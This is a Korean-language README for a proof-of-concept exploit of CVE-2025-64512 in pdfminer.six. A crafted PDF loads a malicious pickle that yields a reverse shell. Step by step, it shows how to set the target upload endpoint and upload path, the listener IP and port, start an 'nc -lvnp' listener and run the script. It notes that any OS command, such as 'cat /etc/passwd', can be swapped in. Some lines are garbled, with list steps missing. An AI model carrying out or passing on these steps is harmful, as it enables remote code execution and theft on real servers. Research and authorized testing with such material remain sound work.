
CVE-2025-64512에 대한 익스플로잇으로 리버스 셸을 획득합니다.
이 개념 증명은 pdfminer.six (CVE-2025-64512)의 취약점을 시연하며, 악성 PDF가 처리될 때 임의의 명령 실행으로 이어질 수 있습니다. 이 익스플로잇은 악성의 gzip 압축 Python pickle을 참조하는 조작된 PDF를 사용합니다. 취약한 애플리케이션이 PDF를 파싱하면 pickle을 로드하고 포함된 페이로드를 실행합니다.
포함된 PoC는 Python 리버스 셸을 실행하도록 구성되어 있지만, 페이로드는 어떤 명령으로든 대체할 수 있습니다.
requests필요한 종속성 설치:
pip install requests
익스플로잇을 실행하기 전에 exploit.py의 구성 섹션을 편집하세요:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
취약한 업로드 엔드포인트의 URL입니다.
예시:
BASE_URL = "http://target/upload.php"
익스플로잇은 악성 PDF와 압축된 pickle을 모두 이 엔드포인트에 업로드합니다.
업로드된 파일이 저장되는 대상의 절대 디렉터리입니다.
예시:
UPLOAD_DIR = "/var/www/html/uploads"
이 경로는 생성된 PDF 내에 포함되며, 취약한 애플리케이션이 나중에 업로드된 pickle을 읽을 위치와 일치해야 합니다.
업로드 디렉터리를 알 수 없는 경우, 열거 중에 확인하세요. 애플리케이션에 따라 유용한 기술은 다음과 같습니다:
일반적인 위치는 다음과 같습니다:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
올바른 디렉터리는 전적으로 대상 애플리케이션에 따라 달라집니다.
리스너 IP 주소입니다.
예시:
LHOST = "10.10.14.5"
리버스 셸의 리스닝 포트입니다.
예시:
LPORT = 4444
익스플로잇을 실행하기 전에 리스너를 시작하세요:
nc -lvnp 4444
익스플로잇 실행:
python3 exploit.py
스크립트는 다음을 수행합니다:
evil.pickle.gz로 압축합니다.리버스 셸 대신, 전달되는 명령을 수정하여 모든 운영 체제 명령을 실행할 수 있습니다:
create_pickle_with_cmd(command)
예시는 다음과 같습니다:
id
whoami
uname -a
cat /etc/passwd
이 개념 증명은 교육 목적, 보안 연구 및 승인된 침투 테스트를 위해서만 제공됩니다. 보안 테스트를 수행할 명시적 권한이 있는 시스템에 대해서만 사용하십시오.